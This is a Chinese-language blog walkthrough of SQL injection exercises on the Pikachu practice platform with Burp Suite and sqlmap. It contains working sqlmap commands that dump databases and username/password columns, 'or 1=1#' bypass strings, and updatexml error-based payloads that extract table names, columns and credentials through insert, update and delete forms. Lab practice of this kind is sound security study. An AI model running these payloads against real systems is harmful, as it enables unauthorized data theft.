前言:

软件:

  • burp
  • sqlmap
    软件配置

    设置代理

    打开kali中自带的火狐浏览器 点击设置 --网络设置

    漏洞环境安装

    数字型注入(post)篇

    利用burp抓包,将包中的文件另存为33.txt
    请输入图片描述

    爆出数据库

    sqlmap -r "/root/22.txt" --dbs

    请输入图片描述

    爆出表

    sqlmap -r "22.txt" -D lou --tables

    请输入图片描述

    爆出表结构

    sqlmap -r "22.txt" -D lou -T users --columns

    请输入图片描述

    爆出表数据

    sqlmap -r "/root/33.txt" -D kalibc -T users -C "username,password" --dump

    请输入图片描述

    视频

    字符型注入

    打开Pikachu中的字符型注入
    请输入图片描述
    字符型注入
    字符型注入原理是 ‘false’ or true#‘恒为真
    连接数据库,输入select * id,email from member where id = ‘KOBE’
    会输出 KOBE账号的email
    那么,我们可以想象如果在输入框输入一段字符,使其合理拼接到sql中,是不是就可以执行遍历了呢
    我们在输入框输入 kali’ or 1 = 1# (前面一个单引号是与sql原有的’拼接 后面的#注释掉后面原有’)

请输入图片描述

sqlmap注入之(搜索型)注入

验证是否有注入
我们直接输入一个字符k,点击搜索。
提示未见异常
我们输入关键字%k%
效果如下:
QQ截图20190404110711.png
此时,我们可以得出,存在搜索型注入漏洞

攻击方式一
利用burp抓包,将包中的文件另存为22.txt

22.txt放到sqlmap根目录 /usr/share/sqlmap

爆出数据库

sqlmap -r "22.txt" --dbs

请输入图片描述
方式二
不需要抓包保存文件的形式,直接执行命令

sqlmap -u http://192.168.123.129/vul/sqli/sqli_search.php? --data "name=*&submit=%E6%90%9C%E7%B4%A2" --dbs

分析:
SQL的模糊查询命令select * from 表名 where 字段名 like ‘%(对应值)%’;,发现可以按照之前的思路来实现万能语句的拼接。
将拼接语句写为'%xxxx%'or 1=1 #%'回到pikachu平台来进行尝试
请输入图片描述

xx型注入

由于XX型的只是SQL拼接方式不同,这里直接放结果。xx')or 1=1#
请输入图片描述

sql update/insert/dele注入

关于update insert语句

update 数据库更新语句

insert 数据库插入语句

首先打开注册页面

我们填写数据,点击提交后抓包。
请输入图片描述
右键 Send To Repeater 将字段name的值改为kali' or updatexml(1,concat(0x7e,database()),0) or'
点击go直接爆出数据库的名称。
即!改成的语句应为:
username=kali' or updatexml(1,concat(0x7e,database()),0) or'&password=123456&sex=&phonenum=185673951111&email=&add=&submit=submit
请输入图片描述

获取表名

name值为 ' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='new' limit 0,1)),0) or'

username=' or updatexml(2,concat(0x7e,(select table_name from information_schema.tables where table_schema='new' limit 3,1)),0) or'&password=123456&sex=&phonenum=185673951111&email=&add=&submit=submit

请输入图片描述

获取列

kali' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 2,1)),0) or'
请输入图片描述

获取内容

username=kali' or updatexml(1,concat(0x7e,(select concat_ws(':', username, password) from users limit 0,1)),0) or'&password=123456&sex=&phonenum=185673951111&email=&add=&submit=submit
请输入图片描述

update注入

首先登陆
请输入图片描述
点击修改 进行抓包
请输入图片描述

爆出数据库

kali'or updatexml(2,concat(0x7e,(database())),0) or'
请输入图片描述
其他请参考上面提到的语法。

delete注入

我们先随便进行留言
然后找到删除连接
请输入图片描述

爆出数据库的版本

or updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
在浏览器中执行
http://127.0.0.1:8888/vul/sqli/sqli_del.php?id=56%20or%20updatexml(1,concat(0x7e,(SELECT%20@@version),0x7e),1)
请输入图片描述
成功得到版本
爆出数据库: or updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)
爆出表: or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='lou' limit 0,1)),0) or ''
列名: or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1 )),0) or ''

HTTP Header注入

有些时候,后台开发人员为了验证客户端头信息(比如常用的cookie验证)
或者通过http header头信息获取客户端的一些信息,比如useragent、accept字段等等。
会对客户端的http header信息进行获取并使用SQL进行处理,如果此时没有足够的安全考虑
则可能会导致基于http header的SQL Inject漏洞。

最后修改:2023 年 08 月 04 日
如果觉得我的文章对你有用,请随意赞赏